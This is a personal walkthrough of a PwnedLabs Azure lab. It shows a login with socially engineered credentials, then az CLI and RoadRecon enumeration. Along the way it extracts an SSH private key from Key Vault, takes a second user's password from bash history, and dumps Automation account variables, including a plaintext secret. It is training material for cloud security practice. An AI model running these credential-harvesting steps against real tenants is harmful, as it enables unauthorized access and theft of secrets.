5. Unmask Privileged Access in Azure

This write-up is based on PwnedLabs.io’s paid module, Unmask Privileged Access in Azure, which offers top-notch content at an unbeatable price. While I’m not affiliated with PwnedLabs.io, I highly recommend their resources. Learn more about their subscription options at PwnedLabs.io/pricing.


The typical enumeration flow is as follows:

graph TD

	A[Tenant] --> B
	B[Subscription]  -->
	C[Resources]

Description and relationships are posted here. ../Azure Services/Azure Entra

1. Credentials

Credentials were gathered using Social Engineering. A password was extracted from a provided image.

********!

The username was guessed based on the naming convention of other usernames.

az login -u matteus@megabigtech.com -p '*****!'

2. Enumeration

The process begins by enumerating resources.

$ az account list                                       
[
  {
    "cloudName": "AzureCloud",
    "id": "2590ccef-687d-493b-ae8d-441cbab63a72",
    "isDefault": false,
    "name": "N/A(tenant level account)",
    "state": "Enabled",
    "tenantId": "2590ccef-687d-493b-ae8d-441cbab63a72",
    "user": {
      "name": "archive@megabigtech.com",
      "type": "user"
    }
  },
  {
    "cloudName": "AzureCloud",
    "homeTenantId": "2590ccef-687d-493b-ae8d-441cbab63a72",
    "id": "ceff06cb-e29d-4486-a3ae-eaaec5689f94",
    "isDefault": true,
    "managedByTenants": [],
    "name": "Microsoft Azure Sponsorship",
    "state": "Enabled",
    "tenantDefaultDomain": "megabigtech.com",
    "tenantDisplayName": "Default Directory",
    "tenantId": "2590ccef-687d-493b-ae8d-441cbab63a72",
    "user": {



az account tenant list
[
  {
    "id": "/tenants/2590ccef-687d-493b-ae8d-441cbab63a72",
    "tenantId": "2590ccef-687d-493b-ae8d-441cbab63a72"
  }
]



az account subscription list 

[
  {
    "authorizationSource": "RoleBased",
    "displayName": "Microsoft Azure Sponsorship",
    "id": "/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94",
    "state": "Enabled",
    "subscriptionId": "ceff06cb-e29d-4486-a3ae-eaaec5689f94",
    "subscriptionPolicies": {
      "locationPlacementId": "Public_2014-09-01",
      "quotaId": "Sponsored_2016-01-01",
      "spendingLimit": "Off"
    }
  }
]

It appears this account is using resources such as Virtual Machines, Public IPs, Vaults, and Network Interfaces:

az resource list               
[
  {
...snip...
    "type": "Microsoft.Compute/virtualMachines",
...snip...
    "type": "Microsoft.Network/publicIPAddresses"
...snip...
    "type": "Microsoft.KeyVault/vaults" 
...snip...
    "type": "Microsoft.Network/networkInterfaces"


    ]
  }
]



From this data, key information is:

Resource Group: mbt-rg-5
VM Name: AUTOMAT01

Get VM instance details:

az vm get-instance-view --resource-group "mbt-rg-5" --name "AUTOMAT01"                                                                       
{                                                                       
  "additionalCapabilities": {                                           
    "hibernationEnabled": false,   
    "ultraSsdEnabled": null                                             
  },                                                                    
...snip...       
      "ssh": {
        "publicKeys": [
          {
            "keyData": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC6mR2ZA1xLw4xONa+hQYoVGcmKMZtVU+WVQjREfDgHsDZSIjDrvXAPOQe9falxs3Wj14EjOzPyCtnq3teFr
...snip...XuLXlQTceiIlExT59UTaYFpHmpmnarE3yzCRdqHyMfdu3tmsTEp39vt+7i0= gen
erated-by-azure",
            "path": "/home/automation/.ssh/authorized_keys"
          }
        ]
      }
    },

There is an SSH public key, indicating potential SSH access.

2.1 Network data or IP

../Azure General/Azure Network
Using the network data, I found the public IP address: 13.68.147.240.

az network public-ip list -g "mbt-rg-5" 
[                                                                                                                                                     [0/359]
  {                                                                           
    "ddosSettings": {
      "protectionMode": "VirtualNetworkInherited"        
    },                                                                                                                                                       
    "dnsSettings": {          
      "domainNameLabel": "automat01-ip",                                      
      "fqdn": "automat01-ip.eastus.cloudapp.azure.com"                        
    },                                                                                                                                                       
    "etag": "W/\"fa05b18d-749a-4344-8ca3-523cedb54d1b\"",                     
    "id": "/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-5/providers/Microsoft.Network/publicIPAddresses/AUTOMAT01-ip",          
    "idleTimeoutInMinutes": 4,
    "ipAddress": "13.68.147.240",
    "ipConfiguration": { 
      "id": "/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-5/providers/Microsoft.Network/networkInterfaces/automat01641_z1/ipConfigurations/ipconfig1",               
      "resourceGroup": "mbt-rg-5"    
    },                                                                        
    "ipTags": [],               
    "location": "eastus",                                                     
    "name": "AUTOMAT01-ip",
    "provisioningState": "Succeeded",
    "publicIPAddressVersion": "IPv4",
    "publicIPAllocationMethod": "Static",                                     
    "resourceGroup": "mbt-rg-5",                                              
    "resourceGuid": "895a94a3-4ae0-4e2a-b522-58d3ca8928cf",                   
    "sku": {
      "name": "Standard",              
      "tier": "Regional"               
    },                                                                        
    "type": "Microsoft.Network/publicIPAddresses"                             
  }                                    
]                   


2.2 Vaults

The flow for interacting with Azure Key Vault is:

graph TD
	A[Identify Key Vault] --> B[Identify Key Name]
	B-->C[Download key]

Commands used:

az keyvault list --query "[].{Name:name, Location:location}" --output table       Name         Location        
Devices-new  eastus



az keyvault secret list --vault-name Devices-new                           
[
  {
...snip...
    "id": "https://devices-new.vault.azure.net/secrets/AUTOMAT01",
...snip...
    "name": "AUTOMAT01",


az keyvault secret show --vault-name Devices-new --name AUTOMAT01  

az keyvault secret download  --vault-name Devices-new --name AUTOMAT01 --file AUTOMAT01.pem

Once again, more information regarding the Key Vault can be found here. ../Azure Services/Azure Key Vault

2.3 VM

For more information about the VM in the resource group mbt-rg-5:

../Azure Services/Azure Virtual Machine

az vm list --resource-group "mbt-rg-5" 
 "location": "eastus",                                                            "name": "AUTOMAT01",
 "resourceGroup": "mbt-rg-5"
 "computerName": "AUTOMAT01",
"disablePasswordAuthentication": true,
"type": "Microsoft.Compute/virtualMachines"
 "vmId": "fc3e4e78-01a7-4cf2-a79c-1b897b6c951e"

Then I got the VM's public and private IP addresses

az vm list-ip-addresses --resource-group "mbt-rg-5" --name "AUTOMAT01"
[
  {
    "virtualMachine": {
      "name": "AUTOMAT01",
      "network": {
        "privateIpAddresses": [
          "10.1.0.4"
        ],
        "publicIpAddresses": [
          {
            "id": "/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-5/providers/Microsoft.Network/publicIPAddresses/AUTOMAT01-ip",
            "ipAddress": "13.68.147.240",
            "ipAllocationMethod": "Static",
            "name": "AUTOMAT01-ip",
            "resourceGroup": "mbt-rg-5",
            "zone": null
          }
        ]
      },
      "resourceGroup": "mbt-rg-5"
    }
  }
]

3. Recon with RoadRecon

../Azure General/Tool- RoadRecon


roadrecon auth -u matteus@megabigtech.com -p *****!
Tokens were written to .roadtools_auth
 

roadrecon gather                                         
Starting data gathering phase 1 of 2 (collecting objects)
Starting data gathering phase 2 of 2 (collecting properties and relationships)
Done processing 26/26 groups

Yeah!
Results indicated that Matt is a member of the Device-Admins and Default Directory groups.

This indicates that Matt is the owner of the Device Admins Group.

We can do the same thing with az. ../Azure General/AZ CLI

az ad signed-in-user list-owned-objects                                                                                                                           
[                                                                                                                                                  
  {                                                                           
    "@odata.type": "#microsoft.graph.group",                            
    "classification": null,                                                   
    "createdDateTime": "2023-11-30T16:44:40Z",                                                                                                   
    "creationOptions": [],                                                                                                                                   
    "deletedDateTime": null,                                                  
    "description": "Allows resources to be assigned to desktop support team",                                                                                                                
    "displayName": "DEVICE-ADMINS",                                                                                                                          
    ...snip...
    "id": "aff1bca2-0c41-44e9-8e2c-8d6ca50fec45",                       
    "isAssignableToRole": true,                                               
    ...snip...
    "securityIdentifier": "S-1-12-1-2951855266-1156123713-1821191310-1173098405",                                                                     ...snip...        
  }                                            
]     

4. Enumerating Key Vault - Get SSH private file

This is a great start../Azure Services/Azure Key Vault

https://learn.microsoft.com/en-us/cli/azure/keyvault?view=azure-cli-latest

az keyvault list --query "[].{Name:name, Location:location}" --output table  
Name         Location
-----------  ----------
Devices-new  eastus

az ad user list --query "[].{Name:displayName, UPN:userPrincipalName}" --output table
Matteus Lundgren               matteus@megabigtech.com

az ad user show --id matteus@megabigtech.com --query "id"
"0dd32296-20f5-447c-b879-c57922db1ff0"


az keyvault show --name Devices-new --query "properties.accessPolicies" 
[]

Can't make much progress. Let's go for secrets.

https://learn.microsoft.com/en-us/cli/azure/keyvault/secret?view=azure-cli-latest#az-keyvault-secret-list

az keyvault secret list --vault-name Devices-new
[
...snip...
    "id": "https://devices-new.vault.azure.net/secrets/AUTOMAT01",
    "managed": null,
    "name": "AUTOMAT01",
    "tags": {
      "file-encoding": "ascii"
    }
  }
]


az keyvault secret show --vault-name Devices-new --name AUTOMAT01
{
...snip...
  "id": "https://devices-new.vault.azure.net/secrets/AUTOMAT01/80776fe595c64551a061e38de06eedab",
...snip...
  "name": "AUTOMAT01",
  "tags": {
    "file-encoding": "ascii"
  },
  "value": "-----BEGIN RSA PRIVATE KEY-----\nMIIG4gIBAAKCAYEAupkdmQNcS8OMTjWvoUGKFRnJijGbVVPllUI0RHw4B7A2UiIw\n671wDzkHvX2pc...snip...\n-----END RSA PRIVATE KEY-----\n"
}


az keyvault secret download  --vault-name Devices-new --name AUTOMAT01 --file AUTOMAT01.pem


chmod 600 ./AUTOMAT01.pem

ssh -i AUTOMAT01.pem automation@13.68.147.240

5. Bash History!

Then got Serene's credential from Bash history!

automation@AUTOMAT01:~$ cat ./.bash_history                                                                                                                  
ls -al                                                                                                                                                       
pwd                                                                           
mkdir scripts                                                                                                                                                
az group list                                                                                                                                                
az login -u "serene@megabigtech.com" -p "*****!"    

6. Hi Serena. - Automation Account

Let's get to know Serena more. She doesn't own any object but I see something unusual. She has an automation account. What is automationAccount?

../Azure Services/Azure Automation

Basically, it is a centralized server for scheduled jobs, also it may have good information. It is crucial to check shared resources on automationAccount. Azure Automation

Serene's is a DevOps Engineer and she has a automation-dev resource.

az ad signed-in-user show
{
  "@odata.context": "https://graph.microsoft.com/v1.0/$metadata#users/$entity",
  "businessPhones": [],
  "displayName": "Serene Hall",
  "givenName": null,
  "id": "78c5409e-1c5b-4ed6-85d6-cefd429cc5a6",
  "jobTitle": "DevOps Engineer",
...snip...
  "userPrincipalName": "serene@megabigtech.com"
}

az ad signed-in-user list-owned-objects
[]  

az resource list
   "id": "/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-5/providers/Microsoft.Automation/automationAccounts/automation-dev",
...snip...
    "location": "eastus",
    "managedBy": null,
    "name": "automation-dev",
...snip...
    "provisioningState": "Succeeded",
    "resourceGroup": "mbt-rg-5",
...snip...
    "type": "Microsoft.Automation/automationAccounts".


az automation account list
...snip...
[
  {
...snip...
    "id": "/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-5/providers/Microsoft.Automation/automationAccounts/automation-dev",
...snip...
    "location": "eastus",
    "name": "automation-dev",
    "privateEndpointConnections": null,
    "publicNetworkAccess": true,
    "resourceGroup": "mbt-rg-5",
...snip...
    "type": "Microsoft.Automation/AutomationAccounts"
  }
]


6.1 Automation Variables with Azure CLI

az cli does not have command that directly pulls out the variables. However, we can retreive using the Azure Rest API.

az rest --method GET --url "https://management.azure.com/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-5/providers/Microsoft.Automation/automationAccounts/automation-dev/variables?api-version=2015-10-31

{
  "value": [
    {
      "id": "/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-5/providers/Microsoft.Automation/automationAccounts/automation-dev/variables/Flag",
      "name": "Flag",
      "properties": {
        "creationTime": "2023-12-01T16:59:04.6366667+00:00",
        "description": "",
        "isEncrypted": false,
        "lastModifiedTime": "2023-12-01T16:59:04.6366667+00:00",
        "value": "\"59f162bc63e0653af3400b10aac20a15\""
      },
      "type": "Microsoft.Automation/AutomationAccounts/Variables"
    },

6.2 Automation with Azure Powershell

The benefit of Azure CLI is that the commands works in Linux. However, Azure Powershell's output was more readable and simpler to use.


PS> Connect-AzAccount                                                       
Please select the account you want to login with.                             

Subscription name           Tenant                                                                                                                           
-----------------           ------                                           
Microsoft Azure Sponsorship Default Directory



PS>Get-AzAutomationAccount      
SubscriptionId        : ceff06cb-e29d-4486-a3ae-eaaec5689f94                
ResourceGroupName     : mbt-rg-5                                            
AutomationAccountName : automation-dev                                       
Location              : eastus 



PS>Get-AzAutomationCredential -ResourceGroupName mbt-rg-5 -AutomationAccountName automation-dev

UserName              : dev-auto
ResourceGroupName     : mbt-rg-5
AutomationAccountName : automation-dev
Name                  : automate-default



PS> Get-AzAutomationVariable -ResourceGroupName mbt-rg-5 -AutomationAccountName automation-dev  

Value                 : 59f162bc63e0653af3400b10aac20a15
Encrypted             : False
ResourceGroupName     : mbt-rg-5
AutomationAccountName : automation-dev
Name                  : Flag

Value                 : $Autom4tion$@MBT!
Encrypted             : False
ResourceGroupName     : mbt-rg-5
AutomationAccountName : automation-dev